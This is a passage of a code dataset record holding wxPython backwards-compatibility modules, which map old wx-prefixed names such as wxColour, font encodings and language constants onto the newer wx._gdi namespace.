*\nfrom _controls import *\nfrom _misc import *\n\n# Cleanup this one.\ndel wx\n\n\n# Make some aliases to help backawrds compatibility for the old\n# namespace. This is only for code that is using tthe wxPython.wx\n# package and using names and classes in the old way. New code should\n# use the wx namespace and the new names.\n\nwxPyDefaultPosition = wxDefaultPosition\nwxPyDefaultSize = wxDefaultSize\nwxNoRefBitmap = wxBitmap\nwxSystemSettings_GetSystemColour = wxSystemSettings_GetColour\nwxSystemSettings_GetSystemFont = wxSystemSettings_GetFont\nwxSystemSettings_GetSystemMetric = wxSystemSettings_GetMetric\nwxColor = wxColour\nwxNamedColor = wxNamedColour \n\nNULL = None\nTRUE = true = True\nFALSE = false = False\n\ndef wxPyTypeCast(obj, typeStr):\n return obj\n\nwxPy_isinstance = isinstance\n\n\n", "id": "5512476", "language": "Python", "matching_score": 1.4156520366668701, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wxPython/_wx.py" }, { "content": "## This file reverse renames symbols in the wx package to give\n## them their wx prefix again, for backwards compatibility.\n##\n## Generated by BuildRenamers in config.py\n\n# This silly stuff here is so the wxPython.wx module doesn't conflict\n# with the wx package. We need to import modules from the wx package\n# here, then we'll put the wxPython.wx entry back in sys.modules.\nimport sys\n_wx = None\nif sys.modules.has_key('wxPython.wx'):\n _wx = sys.modules['wxPython.wx']\n del sys.modules['wxPython.wx']\n\nimport wx._gdi\n\nsys.modules['wxPython.wx'] = _wx\ndel sys, _wx\n\n\n# Now assign all the reverse-renamed names:\nwxGDIObject = wx._gdi.GDIObject\nwxC2S_NAME = wx._gdi.C2S_NAME\nwxC2S_CSS_SYNTAX = wx._gdi.C2S_CSS_SYNTAX\nwxC2S_HTML_SYNTAX = wx._gdi.C2S_HTML_SYNTAX\nwxColour = wx._gdi.Colour\nwxNamedColour = wx._gdi.NamedColour\nwxColourRGB = wx._gdi.ColourRGB\nwxPalette = wx._gdi.Palette\nwxPen = wx._gdi.Pen\nwxBrush = wx._gdi.Brush\nwxBrushFromBitmap = wx._gdi.BrushFromBitmap\nwxBitmap = wx._gdi.Bitmap\nwxEmptyBitmap = wx._gdi.EmptyBitmap\nwxBitmapFromIcon = wx._gdi.BitmapFromIcon\nwxBitmapFromImage = wx._gdi.BitmapFromImage\nwxBitmapFromXPMData = wx._gdi.BitmapFromXPMData\nwxBitmapFromBits = wx._gdi.BitmapFromBits\nwxMask = wx._gdi.Mask\nwxIcon = wx._gdi.Icon\nwxEmptyIcon = wx._gdi.EmptyIcon\nwxIconFromLocation = wx._gdi.IconFromLocation\nwxIconFromBitmap = wx._gdi.IconFromBitmap\nwxIconFromXPMData = wx._gdi.IconFromXPMData\nwxIconLocation = wx._gdi.IconLocation\nwxIconBundle = wx._gdi.IconBundle\nwxIconBundleFromFile = wx._gdi.IconBundleFromFile\nwxIconBundleFromIcon = wx._gdi.IconBundleFromIcon\nwxCursor = wx._gdi.Cursor\nwxStockCursor = wx._gdi.StockCursor\nwxCursorFromImage = wx._gdi.CursorFromImage\nwxOutRegion = wx._gdi.OutRegion\nwxPartRegion = wx._gdi.PartRegion\nwxInRegion = wx._gdi.InRegion\nwxRegion = wx._gdi.Region\nwxRegionFromBitmap = wx._gdi.RegionFromBitmap\nwxRegionFromBitmapColour = wx._gdi.RegionFromBitmapColour\nwxRegionFromPoints = wx._gdi.RegionFromPoints\nwxRegionIterator = wx._gdi.RegionIterator\nwxFONTFAMILY_DEFAULT = wx._gdi.FONTFAMILY_DEFAULT\nwxFONTFAMILY_DECORATIVE = wx._gdi.FONTFAMILY_DECORATIVE\nwxFONTFAMILY_ROMAN = wx._gdi.FONTFAMILY_ROMAN\nwxFONTFAMILY_SCRIPT = wx._gdi.FONTFAMILY_SCRIPT\nwxFONTFAMILY_SWISS = wx._gdi.FONTFAMILY_SWISS\nwxFONTFAMILY_MODERN = wx._gdi.FONTFAMILY_MODERN\nwxFONTFAMILY_TELETYPE = wx._gdi.FONTFAMILY_TELETYPE\nwxFONTFAMILY_MAX = wx._gdi.FONTFAMILY_MAX\nwxFONTFAMILY_UNKNOWN = wx._gdi.FONTFAMILY_UNKNOWN\nwxFONTSTYLE_NORMAL = wx._gdi.FONTSTYLE_NORMAL\nwxFONTSTYLE_ITALIC = wx._gdi.FONTSTYLE_ITALIC\nwxFONTSTYLE_SLANT = wx._gdi.FONTSTYLE_SLANT\nwxFONTSTYLE_MAX = wx._gdi.FONTSTYLE_MAX\nwxFONTWEIGHT_NORMAL = wx._gdi.FONTWEIGHT_NORMAL\nwxFONTWEIGHT_LIGHT = wx._gdi.FONTWEIGHT_LIGHT\nwxFONTWEIGHT_BOLD = wx._gdi.FONTWEIGHT_BOLD\nwxFONTWEIGHT_MAX = wx._gdi.FONTWEIGHT_MAX\nwxFONTFLAG_DEFAULT = wx._gdi.FONTFLAG_DEFAULT\nwxFONTFLAG_ITALIC = wx._gdi.FONTFLAG_ITALIC\nwxFONTFLAG_SLANT = wx._gdi.FONTFLAG_SLANT\nwxFONTFLAG_LIGHT = wx._gdi.FONTFLAG_LIGHT\nwxFONTFLAG_BOLD = wx._gdi.FONTFLAG_BOLD\nwxFONTFLAG_ANTIALIASED = wx._gdi.FONTFLAG_ANTIALIASED\nwxFONTFLAG_NOT_ANTIALIASED = wx._gdi.FONTFLAG_NOT_ANTIALIASED\nwxFONTFLAG_UNDERLINED = wx._gdi.FONTFLAG_UNDERLINED\nwxFONTFLAG_STRIKETHROUGH = wx._gdi.FONTFLAG_STRIKETHROUGH\nwxFONTFLAG_MASK = wx._gdi.FONTFLAG_MASK\nwxFONTENCODING_SYSTEM = wx._gdi.FONTENCODING_SYSTEM\nwxFONTENCODING_DEFAULT = wx._gdi.FONTENCODING_DEFAULT\nwxFONTENCODING_ISO8859_1 = wx._gdi.FONTENCODING_ISO8859_1\nwxFONTENCODING_ISO8859_2 = wx._gdi.FONTENCODING_ISO8859_2\nwxFONTENCODING_ISO8859_3 = wx._gdi.FONTENCODING_ISO8859_3\nwxFONTENCODING_ISO8859_4 = wx._gdi.FONTENCODING_ISO8859_4\nwxFONTENCODING_ISO8859_5 = wx._gdi.FONTENCODING_ISO8859_5\nwxFONTENCODING_ISO8859_6 = wx._gdi.FONTENCODING_ISO8859_6\nwxFONTENCODING_ISO8859_7 = wx._gdi.FONTENCODING_ISO8859_7\nwxFONTENCODING_ISO8859_8 = wx._gdi.FONTENCODING_ISO8859_8\nwxFONTENCODING_ISO8859_9 = wx._gdi.FONTENCODING_ISO8859_9\nwxFONTENCODING_ISO8859_10 = wx._gdi.FONTENCODING_ISO8859_10\nwxFONTENCODING_ISO8859_11 = wx._gdi.FONTENCODING_ISO8859_11\nwxFONTENCODING_ISO8859_12 = wx._gdi.FONTENCODING_ISO8859_12\nwxFONTENCODING_ISO8859_13 = wx._gdi.FONTENCODING_ISO8859_13\nwxFONTENCODING_ISO8859_14 = wx._gdi.FONTENCODING_ISO8859_14\nwxFONTENCODING_ISO8859_15 = wx._gdi.FONTENCODING_ISO8859_15\nwxFONTENCODING_ISO8859_MAX = wx._gdi.FONTENCODING_ISO8859_MAX\nwxFONTENCODING_KOI8 = wx._gdi.FONTENCODING_KOI8\nwxFONTENCODING_KOI8_U = wx._gdi.FONTENCODING_KOI8_U\nwxFONTENCODING_ALTERNATIVE = wx._gdi.FONTENCODING_ALTERNATIVE\nwxFONTENCODING_BULGARIAN = wx._gdi.FONTENCODING_BULGARIAN\nwxFONTENCODING_CP437 = wx._gdi.FONTENCODING_CP437\nwxFONTENCODING_CP850 = wx._gdi.FONTENCODING_CP850\nwxFONTENCODING_CP852 = wx._gdi.FONTENCODING_CP852\nwxFONTENCODING_CP855 = wx._gdi.FONTENCODING_CP855\nwxFONTENCODING_CP866 = wx._gdi.FONTENCODING_CP866\nwxFONTENCODING_CP874 = wx._gdi.FONTENCODING_CP874\nwxFONTENCODING_CP932 = wx._gdi.FONTENCODING_CP932\nwxFONTENCODING_CP936 = wx._gdi.FONTENCODING_CP936\nwxFONTENCODING_CP949 = wx._gdi.FONTENCODING_CP949\nwxFONTENCODING_CP950 = wx._gdi.FONTENCODING_CP950\nwxFONTENCODING_CP1250 = wx._gdi.FONTENCODING_CP1250\nwxFONTENCODING_CP1251 = wx._gdi.FONTENCODING_CP1251\nwxFONTENCODING_CP1252 = wx._gdi.FONTENCODING_CP1252\nwxFONTENCODING_CP1253 = wx._gdi.FONTENCODING_CP1253\nwxFONTENCODING_CP1254 = wx._gdi.FONTENCODING_CP1254\nwxFONTENCODING_CP1255 = wx._gdi.FONTENCODING_CP1255\nwxFONTENCODING_CP1256 = wx._gdi.FONTENCODING_CP1256\nwxFONTENCODING_CP1257 = wx._gdi.FONTENCODING_CP1257\nwxFONTENCODING_CP12_MAX = wx._gdi.FONTENCODING_CP12_MAX\nwxFONTENCODING_UTF7 = wx._gdi.FONTENCODING_UTF7\nwxFONTENCODING_UTF8 = wx._gdi.FONTENCODING_UTF8\nwxFONTENCODING_EUC_JP = wx._gdi.FONTENCODING_EUC_JP\nwxFONTENCODING_UTF16BE = wx._gdi.FONTENCODING_UTF16BE\nwxFONTENCODING_UTF16LE = wx._gdi.FONTENCODING_UTF16LE\nwxFONTENCODING_UTF32BE = wx._gdi.FONTENCODING_UTF32BE\nwxFONTENCODING_UTF32LE = wx._gdi.FONTENCODING_UTF32LE\nwxFONTENCODING_MACROMAN = wx._gdi.FONTENCODING_MACROMAN\nwxFONTENCODING_MACJAPANESE = wx._gdi.FONTENCODING_MACJAPANESE\nwxFONTENCODING_MACCHINESETRAD = wx._gdi.FONTENCODING_MACCHINESETRAD\nwxFONTENCODING_MACKOREAN = wx._gdi.FONTENCODING_MACKOREAN\nwxFONTENCODING_MACARABIC = wx._gdi.FONTENCODING_MACARABIC\nwxFONTENCODING_MACHEBREW = wx._gdi.FONTENCODING_MACHEBREW\nwxFONTENCODING_MACGREEK = wx._gdi.FONTENCODING_MACGREEK\nwxFONTENCODING_MACCYRILLIC = wx._gdi.FONTENCODING_MACCYRILLIC\nwxFONTENCODING_MACDEVANAGARI = wx._gdi.FONTENCODING_MACDEVANAGARI\nwxFONTENCODING_MACGURMUKHI = wx._gdi.FONTENCODING_MACGURMUKHI\nwxFONTENCODING_MACGUJARATI = wx._gdi.FONTENCODING_MACGUJARATI\nwxFONTENCODING_MACORIYA = wx._gdi.FONTENCODING_MACORIYA\nwxFONTENCODING_MACBENGALI = wx._gdi.FONTENCODING_MACBENGALI\nwxFONTENCODING_MACTAMIL = wx._gdi.FONTENCODING_MACTAMIL\nwxFONTENCODING_MACTELUGU = wx._gdi.FONTENCODING_MACTELUGU\nwxFONTENCODING_MACKANNADA = wx._gdi.FONTENCODING_MACKANNADA\nwxFONTENCODING_MACMALAJALAM = wx._gdi.FONTENCODING_MACMALAJALAM\nwxFONTENCODING_MACSINHALESE = wx._gdi.FONTENCODING_MACSINHALESE\nwxFONTENCODING_MACBURMESE = wx._gdi.FONTENCODING_MACBURMESE\nwxFONTENCODING_MACKHMER = wx._gdi.FONTENCODING_MACKHMER\nwxFONTENCODING_MACTHAI = wx._gdi.FONTENCODING_MACTHAI\nwxFONTENCODING_MACLAOTIAN = wx._gdi.FONTENCODING_MACLAOTIAN\nwxFONTENCODING_MACGEORGIAN = wx._gdi.FONTENCODING_MACGEORGIAN\nwxFONTENCODING_MACARMENIAN = wx._gdi.FONTENCODING_MACARMENIAN\nwxFONTENCODING_MACCHINESESIMP = wx._gdi.FONTENCODING_MACCHINESESIMP\nwxFONTENCODING_MACTIBETAN = wx._gdi.FONTENCODING_MACTIBETAN\nwxFONTENCODING_MACMONGOLIAN = wx._gdi.FONTENCODING_MACMONGOLIAN\nwxFONTENCODING_MACETHIOPIC = wx._gdi.FONTENCODING_MACETHIOPIC\nwxFONTENCODING_MACCENTRALEUR = wx._gdi.FONTENCODING_MACCENTRALEUR\nwxFONTENCODING_MACVIATNAMESE = wx._gdi.FONTENCODING_MACVIATNAMESE\nwxFONTENCODING_MACARABICEXT = wx._gdi.FONTENCODING_MACARABICEXT\nwxFONTENCODING_MACSYMBOL = wx._gdi.FONTENCODING_MACSYMBOL\nwxFONTENCODING_MACDINGBATS = wx._gdi.FONTENCODING_MACDINGBATS\nwxFONTENCODING_MACTURKISH = wx._gdi.FONTENCODING_MACTURKISH\nwxFONTENCODING_MACCROATIAN = wx._gdi.FONTENCODING_MACCROATIAN\nwxFONTENCODING_MACICELANDIC = wx._gdi.FONTENCODING_MACICELANDIC\nwxFONTENCODING_MACROMANIAN = wx._gdi.FONTENCODING_MACROMANIAN\nwxFONTENCODING_MACCELTIC = wx._gdi.FONTENCODING_MACCELTIC\nwxFONTENCODING_MACGAELIC = wx._gdi.FONTENCODING_MACGAELIC\nwxFONTENCODING_MACKEYBOARD = wx._gdi.FONTENCODING_MACKEYBOARD\nwxFONTENCODING_MACMIN = wx._gdi.FONTENCODING_MACMIN\nwxFONTENCODING_MACMAX = wx._gdi.FONTENCODING_MACMAX\nwxFONTENCODING_MAX = wx._gdi.FONTENCODING_MAX\nwxFONTENCODING_UTF16 = wx._gdi.FONTENCODING_UTF16\nwxFONTENCODING_UTF32 = wx._gdi.FONTENCODING_UTF32\nwxFONTENCODING_UNICODE = wx._gdi.FONTENCODING_UNICODE\nwxFONTENCODING_GB2312 = wx._gdi.FONTENCODING_GB2312\nwxFONTENCODING_BIG5 = wx._gdi.FONTENCODING_BIG5\nwxFONTENCODING_SHIFT_JIS = wx._gdi.FONTENCODING_SHIFT_JIS\nwxNativeFontInfo = wx._gdi.NativeFontInfo\nwxNativeEncodingInfo = wx._gdi.NativeEncodingInfo\nwxGetNativeFontEncoding = wx._gdi.GetNativeFontEncoding\nwxTestFontEncoding = wx._gdi.TestFontEncoding\nwxFontMapper = wx._gdi.FontMapper\nwxFontMapper_Get = wx._gdi.FontMapper_Get\nwxFontMapper_Set = wx._gdi.FontMapper_Set\nwxFontMapper_GetSupportedEncodingsCount = wx._gdi.FontMapper_GetSupportedEncodingsCount\nwxFontMapper_GetEncoding = wx._gdi.FontMapper_GetEncoding\nwxFontMapper_GetEncodingName = wx._gdi.FontMapper_GetEncodingName\nwxFontMapper_GetEncodingDescription = wx._gdi.FontMapper_GetEncodingDescription\nwxFontMapper_GetEncodingFromName = wx._gdi.FontMapper_GetEncodingFromName\nwxFontMapper_GetDefaultConfigPath = wx._gdi.FontMapper_GetDefaultConfigPath\nwxFont = wx._gdi.Font\nwxFontFromNativeInfo = wx._gdi.FontFromNativeInfo\nwxFontFromNativeInfoString = wx._gdi.FontFromNativeInfoString\nwxFFont = wx._gdi.FFont\nwxFontFromPixelSize = wx._gdi.FontFromPixelSize\nwxFFontFromPixelSize = wx._gdi.FFontFromPixelSize\nwxFont_GetDefaultEncoding = wx._gdi.Font_GetDefaultEncoding\nwxFont_SetDefaultEncoding = wx._gdi.Font_SetDefaultEncoding\nwxFontEnumerator = wx._gdi.FontEnumerator\nwxFontEnumerator = wx._gdi.FontEnumerator\nwxLANGUAGE_DEFAULT = wx._gdi.LANGUAGE_DEFAULT\nwxLANGUAGE_UNKNOWN = wx._gdi.LANGUAGE_UNKNOWN\nwxLANGUAGE_ABKHAZIAN = wx._gdi.LANGUAGE_ABKHAZIAN\nwxLANGUAGE_AFAR = wx._gdi.LANGUAGE_AFAR\nwxLANGUAGE_AFRIKAANS = wx._gdi.LANGUAGE_AFRIKAANS\nwxLANGUAGE_ALBANIAN = wx._gdi.LANGUAGE_ALBANIAN\nwxLANGUAGE_AMHARIC = wx._gdi.LANGUAGE_AMHARIC\nwxLANGUAGE_ARABIC = wx._gdi.LANGUAGE_ARABIC\nwxLANGUAGE_ARABIC_ALGERIA = wx._gdi.LANGUAGE_ARABIC_ALGERIA\nwxLANGUAGE_ARABIC_BAHRAIN = wx._gdi.LANGUAGE_ARABIC_BAHRAIN\nwxLANGUAGE_ARABIC_EGYPT = wx._gdi.LANGUAGE_ARABIC_EGYPT\nwxLANGUAGE_ARABIC_IRAQ = wx._gdi.LANGUAGE_ARABIC_IRAQ\nwxLANGUAGE_ARABIC_JORDAN = wx._gdi.LANGUAGE_ARABIC_JORDAN\nwxLANGUAGE_ARABIC_KUWAIT = wx._gdi.LANGUAGE_ARABIC_KUWAIT\nwxLANGUAGE_ARABIC_LEBANON = wx._gdi.LANGUAGE_ARABIC_LEBANON\nwxLANGUAGE_ARABIC_LIBYA = wx._gdi.LANGUAGE_ARABIC_LIBYA\nwxLANGUAGE_ARABIC_MOROCCO = wx._gdi.LANGUAGE_ARABIC_MOROCCO\nwxLANGUAGE_ARABIC_OMAN = wx._gdi.LANGUAGE_ARABIC_OMAN\nwxLANGUAGE_ARABIC_QATAR = wx._gdi.LANGUAGE_ARABIC_QATAR\nwxLANGUAGE_ARABIC_SAUDI_ARABIA = wx._gdi.LANGUAGE_ARABIC_SAUDI_ARABIA\nwxLANGUAGE_ARABIC_SUDAN = wx._gdi.LANGUAGE_ARABIC_SUDAN\nwxLANGUAGE_ARABIC_SYRIA = wx._gdi.LANGUAGE_ARABIC_SYRIA\nwxLANGUAGE_ARABIC_TUNISIA = wx._gdi.LANGUAGE_ARABIC_TUNISIA\nwxLANGUAGE_ARABIC_UAE = wx._gdi.LANGUAGE_ARABIC_UAE\nwxLANGUAGE_ARABIC_YEMEN = wx._gdi.LANGUAGE_ARABIC_YEMEN\nwxLANGUAGE_ARMENIAN = wx._gdi.LANGUAGE_ARMENIAN\nwxLANGUAGE_ASSAMESE = wx._gdi.LANGUAGE_ASSAMESE\nwxLANGUAGE_AYMARA = wx._gdi.LANGUAGE_AYMARA\nwxLANGUAGE_AZERI = wx._gdi.LANGUAGE_AZERI\nwxLANGUAGE_AZERI_CYRILLIC = wx._gdi.LANGUAGE_AZERI_CYRILLIC\nwxLANGUAGE_AZERI_LATIN = wx._gdi.LANGUAGE_AZERI_LATIN\nwxLANGUAGE_BASHKIR = wx._gdi.LANGUAGE_BASHKIR\nwxLANGUAGE_BASQUE = wx._gdi.LANGUAGE_BASQUE\nwxLANGUAGE_BELARUSIAN = wx._gdi.LANGUAGE_BELARUSIAN\nwxLANGUAGE_BENGALI = wx._gdi.LANGUAGE_BENGALI\nwxLANGUAGE_BHUTANI = wx._gdi.LANGUAGE_BHUTANI\nwxLANGUAGE_BIHARI = wx._gdi.LANGUAGE_BIHARI\nwxLANGUAGE_BISLAMA = wx._gdi.LANGUAGE_BISLAMA\nwxLANGUAGE_BRETON = wx._gdi.LANGUAGE_BRETON\nwxLANGUAGE_BULGARIAN = wx._gdi.LANGUAGE_BULGARIAN\nwxLANGUAGE_BURMESE = wx._gdi.LANGUAGE_BURMESE\nwxLANGUAGE_CAMBODIAN = wx._gdi.LANGUAGE_CAMBODIAN\nwxLANGUAGE_CATALAN = wx._gdi.LANGUAGE_CATALAN\nwxLANGUAGE_CHINESE = wx._gdi.LANGUAGE_CHINESE\nwxLANGUAGE_CHINESE_SIMPLIFIED = wx._gdi.LANGUAGE_CHINESE_SIMPLIFIED\nwxLANGUAGE_CHINESE_TRADITIONAL = wx._gdi.LANGUAGE_CHINESE_TRADITIONAL\nwxLANGUAGE_CHINESE_HONGKONG = wx._gdi.LANGUAGE_CHINESE_HONGKONG\nwxLANGUAGE_CHINESE_MACAU = wx._gdi.LANGUAGE_CHINESE_MACAU\nwxLANGUAGE_CHINESE_SINGAPORE = wx._gdi.LANGUAGE_CHINESE_SINGAPORE\nwxLANGUAGE_CHINESE_TAIWAN = wx._gdi.LANGUAGE_CHINESE_TAIWAN\nwxLANGUAGE_CORSICAN = wx._gdi.LANGUAGE_CORSICAN\nwxLANGUAGE_CROATIAN = wx._gdi.LANGUAGE_CROATIAN\nwxLANGUAGE_CZECH = wx._gdi.LANGUAGE_CZECH\nwxLANGUAGE_DANISH = wx._gdi.LANGUAGE_DANISH\nwxLANGUAGE_DUTCH = wx._gdi.LANGUAGE_DUTCH\nwxLANGUAGE_DUTCH_BELGIAN = wx._gdi.LANGUAGE_DUTCH_BELGIAN\nwxLANGUAGE_ENGLISH = wx._gdi.LANGUAGE_ENGLISH\nwxLANGUAGE_ENGLISH_UK = wx._gdi.LANGUAGE_ENGLISH_UK\nwxLANGUAGE_ENGLISH_US = wx._gdi.LANGUAGE_ENGLISH_US\nwxLANGUAGE_ENGLISH_AUSTRALIA = wx._gdi.LANGUAGE_ENGLISH_AUSTRALIA\nwxLANGUAGE_ENGLISH_BELIZE = wx._gdi.LANGUAGE_ENGLISH_BELIZE\nwxLANGUAGE_ENGLISH_BOTSWANA = wx._gdi.LANGUAGE_ENGLISH_BOTSWANA\nwxLANGUAGE_ENGLISH_CANADA = wx._gdi.LANGUAGE_ENGLISH_CANADA\nwxLANGUAGE_ENGLISH_CARIBBEAN = wx._gdi.LANGUAGE_ENGLISH_CARIBBEAN\nwxLANGUAGE_ENGLISH_DENMARK = wx._gdi.LANGUAGE_ENGLISH_DENMARK\nwxLANGUAGE_ENGLISH_EIRE = wx._gdi.LANGUAGE_ENGLISH_EIRE\nwxLANGUAGE_ENGLISH_JAMAICA = wx._gdi.LANGUAGE_ENGLISH_JAMAICA\nwxLANGUAGE_ENGLISH_NEW_ZEALAND = wx._gdi.LANGUAGE_ENGLISH_NEW_ZEALAND\nwxLANGUAGE_ENGLISH_PHILIPPINES = wx._gdi.LANGUAGE_ENGLISH_PHILIPPINES\nwxLANGUAGE_ENGLISH_SOUTH_AFRICA = wx._gdi.LANGUAGE_ENGLISH_SOUTH_AFRICA\nwxLANGUAGE_ENGLISH_TRINIDAD = wx._gdi.LANGUAGE_ENGLISH_TRINIDAD\nwxLANGUAGE_ENGLISH_ZIMBABWE = wx._gdi.LANGUAGE_ENGLISH_ZIMBABWE\nwxLANGUAGE_ESPERANTO = wx._gdi.LANGUAGE_ESPERANTO\nwxLANGUAGE_ESTONIAN = wx._gdi.LANGUAGE_ESTONIAN\nwxLANGUAGE_FAEROESE = wx._gdi.LANGUAGE_FAEROESE\nwxLANGUAGE_FARSI = wx._gdi.LANGUAGE_FARSI\nwxLANGUAGE_FIJI = wx._gdi.LANGUAGE_FIJI\nwxLANGUAGE_FINNISH = wx._gdi.LANGUAGE_FINNISH\nwxLANGUAGE_FRENCH = wx._gdi.LANGUAGE_FRENCH\nwxLANGUAGE_FRENCH_BELGIAN = wx._gdi.LANGUAGE_FRENCH_BELGIAN\nwxLANGUAGE_FRENCH_CANADIAN = wx._gdi.LANGUAGE_FRENCH_CANADIAN\nwxLANGUAGE_FRENCH_LUXEMBOURG = wx._gdi.LANGUAGE_FRENCH_LUXEMBOURG\nwxLANGUAGE_FRENCH_MONACO = wx._gdi.LANGUAGE_FRENCH_MONACO\nwxLANGUAGE_FRENCH_SWISS = wx._gdi.LANGUAGE_FRENCH_SWISS\nwxLANGUAGE_FRISIAN = wx._gdi.LANGUAGE_FRISIAN\nwxLANGUAGE_GALICIAN = wx._gdi.LANGUAGE_GALICIAN\nwxLANGUAGE_GEORGIAN = wx._gdi.LANGUAGE_GEORGIAN\nwxLANGUAGE_GERMAN = wx._gdi.LANGUAGE_GERMAN\nwxLANGUAGE_GERMAN_AUSTRIAN = wx._gdi.LANGUAGE_GERMAN_AUSTRIAN\nwxLANGUAGE_GERMAN_BELGIUM = wx._gdi.LANGUAGE_GERMAN_BELGIUM\nwxLANGUAGE_GERMAN_LIECHTENSTEIN = wx._gdi.LANGUAGE_GERMAN_LIECHTENSTEIN\nwxLANGUAGE_GERMAN_LUXEMBOURG = wx._gdi.LANGUAGE_GERMAN_LUXEMBOURG\nwxLANGUAGE_GERMAN_SWISS = wx._gdi.LANGUAGE_GERMAN_SWISS\nwxLANGUAGE_GREEK = wx._gdi.LANGUAGE_GREEK\nwxLANGUAGE_GREENLANDIC = wx._gdi.LANGUAGE_GREENLANDIC\nwxLANGUAGE_GUARANI = wx._gdi.LANGUAGE_GUARANI\nwxLANGUAGE_GUJARATI = wx._gdi.LANGUAGE_GUJARATI\nwxLANGUAGE_HAUSA = wx._gdi.LANGUAGE_HAUSA\nwxLANGUAGE_HEBREW = wx._gdi.LANGUAGE_HEBREW\nwxLANGUAGE_HINDI = wx._gdi.LANGUAGE_HINDI\nwxLANGUAGE_HUNGARIAN = wx._gdi.LANGUAGE_HUNGARIAN\nwxLANGUAGE_ICELANDIC = wx._gdi.LANGUAGE_ICELANDIC\nwxLANGUAGE_INDONESIAN = wx._gdi.LANGUAGE_INDONESIAN\nwxLANGUAGE_INTERLINGUA = wx._gdi.LANGUAGE_INTERLINGUA\nwxLANGUAGE_INTERLINGUE = wx._gdi.LANGUAGE_INTERLINGUE\nwxLANGUAGE_INUKTITUT = wx._gdi.LANGUAGE_INUKTITUT\nwxLANGUAGE_INUPIAK = wx._gdi.LANGUAGE_INUPIAK\nwxLANGUAGE_IRISH = wx._gdi.LANGUAGE_IRISH\nwxLANGUAGE_ITALIAN = wx._gdi.LANGUAGE_ITALIAN\nwxLANGUAGE_ITALIAN_SWISS = wx._gdi.LANGUAGE_ITALIAN_SWISS\nwxLANGUAGE_JAPANESE = wx._gdi.LANGUAGE_JAPANESE\nwxLANGUAGE_JAVANESE = wx._gdi.LANGUAGE_JAVANESE\nwxLANGUAGE_KANNADA = wx._gdi.LANGUAGE_KANNADA\nwxLANGUAGE_KASHMIRI = wx._gdi.LANGUAGE_KASHMIRI\nwxLANGUAGE_KASHMIRI_INDIA = wx._gdi.LANGUAGE_KASHMIRI_INDIA\nwxLANGUAGE_KAZAKH = wx._gdi.LANGUAGE_KAZAKH\nwxLANGUAGE_KERNEWEK = wx._gdi.LANGUAGE_KERNEWEK\nwxLANGUAGE_KINYARWANDA = wx._gdi.LANGUAGE_KINYARWANDA\nwxLANGUAGE_KIRGHIZ = wx._gdi.LANGUAGE_KIRGHIZ\nwxLANGUAGE_KIRUNDI = wx._gdi.LANGUAGE_KIRUNDI\nwxLANGUAGE_KONKANI = wx._gdi.LANGUAGE_KONKANI\nwxLANGUAGE_KOREAN = wx._gdi.LANGUAGE_KOREAN\nwxLANGUAGE_KURDISH = wx._gdi.LANGUAGE_KURDISH\nwxLANGUAGE_LAOTHIAN = wx._gdi.LANGUAGE_LAOTHIAN\nwxLANGUAGE_LATIN = wx._gdi.LANGUAGE_LATIN\nwxLANGUAGE_LATVIAN = wx._gdi.LANGUAGE_LATVIAN\nwxLANGUAGE_LINGALA = wx._gdi.LANGUAGE_LINGALA\nwxLANGUAGE_LITHUANIAN = wx._gdi.LANGUAGE_LITHUANIAN\nwxLANGUAGE_MACEDONIAN = wx._gdi.LANGUAGE_MACEDONIAN\nwxLANGUAGE_MALAGASY = wx._gdi.LANGUAGE_MALAGASY\nwxLANGUAGE_MALAY = wx._gdi.LANGUAGE_MALAY\nwxLANGUAGE_MALAYALAM = wx._gdi.LANGUAGE_MALAYALAM\nwxLANGUAGE_MALAY_BRUNEI_DARUSSALAM = wx._gdi.LANGUAGE_MALAY_BRUNEI_DARUSSALAM\nwxLANGUAGE_MALAY_MALAYSIA = wx._gdi.LANGUAGE_MALAY_MALAYSIA\nwxLANGUAGE_MALTESE = wx._gdi.LANGUAGE_MALTESE\nwxLANGUAGE_MANIPURI = wx._gdi.LANGUAGE_MANIPURI\nwxLANGUAGE_MAORI = wx._gdi.LANGUAGE_MAORI\nwxLANGUAGE_MARATHI = wx._gdi.LANGUAGE_MARATHI\nwxLANGUAGE_MOLDAVIAN = wx._gdi.LANGUAGE_MOLDAVIAN\nwxLANGUAGE_MONGOLIAN = wx._gdi.LANGUAGE_MONGOLIAN\nwxLANGUAGE_NAURU = wx._gdi.LANGUAGE_NAURU\nwxLANGUAGE_NEPALI = wx._gdi.LANGUAGE_NEPALI\nwxLANGUAGE_NEPALI_INDIA = wx._gdi.LANGUAGE_NEPALI_INDIA\nwxLANGUAGE_NORWEGIAN_BOKMAL = wx._gdi.LANGUAGE_NORWEGIAN_BOKMAL\nwxLANGUAGE_NORWEGIAN_NYNORSK = wx._gdi.LANGUAGE_NORWEGIAN_NYNORSK\nwxLANGUAGE_OCCITAN = wx._gdi.LANGUAGE_OCCITAN\nwxLANGUAGE_ORIYA = wx._gdi.LANGUAGE_ORIYA\nwxLANGUAGE_OROMO = wx._gdi.LANGUAGE_OROMO\nwxLANGUAGE_PASHTO = wx._gdi.LANGUAGE_PASHTO\nwxLANGUAGE_POLISH = wx._gdi.LANGUAGE_POLISH\nwxLANGUAGE_PORTUGUESE = wx._gdi.LANGUAGE_PORTUGUESE\nwxLANGUAGE_PORTUGUESE_BRAZILIAN = wx._gdi.LANGUAGE_PORTUGUESE_BRAZILIAN\nwxLANGUAGE_PUNJABI = wx._gdi.LANGUAGE_PUNJABI\nwxLANGUAGE_QUECHUA = wx._gdi.LANGUAGE_QUECHUA\nwxLANGUAGE_RHAETO_ROMANCE = wx._gdi.LANGUAGE_RHAETO_ROMANCE\nwxLANGUAGE_ROMANIAN = wx._gdi.LANGUAGE_ROMANIAN\nwxLANGUAGE_RUSSIAN = wx._gdi.LANGUAGE_RUSSIAN\nwxLANGUAGE_RUSSIAN_UKRAINE = wx._gdi.LANGUAGE_RUSSIAN_UKRAINE\nwxLANGUAGE_SAMOAN = wx._gdi.LANGUAGE_SAMOAN\nwxLANGUAGE_SANGHO = wx._gdi.LANGUAGE_SANGHO\nwxLANGUAGE_SANSKRIT = wx._gdi.LANGUAGE_SANSKRIT\nwxLANGUAGE_SCOTS_GAELIC = wx._gdi.LANGUAGE_SCOTS_GAELIC\nwxLANGUAGE_SERBIAN = wx._gdi.LANGUAGE_SERBIAN\nwxLANGUAGE_SERBIAN_CYRILLIC = wx._gdi.LANGUAGE_SERBIAN_CYRILLIC\nwxLANGUAGE_SERBIAN_LATIN = wx._gdi.LANGUAGE_SERBIAN_LATIN\nwxLANGUAGE_SERBO_CROATIAN = 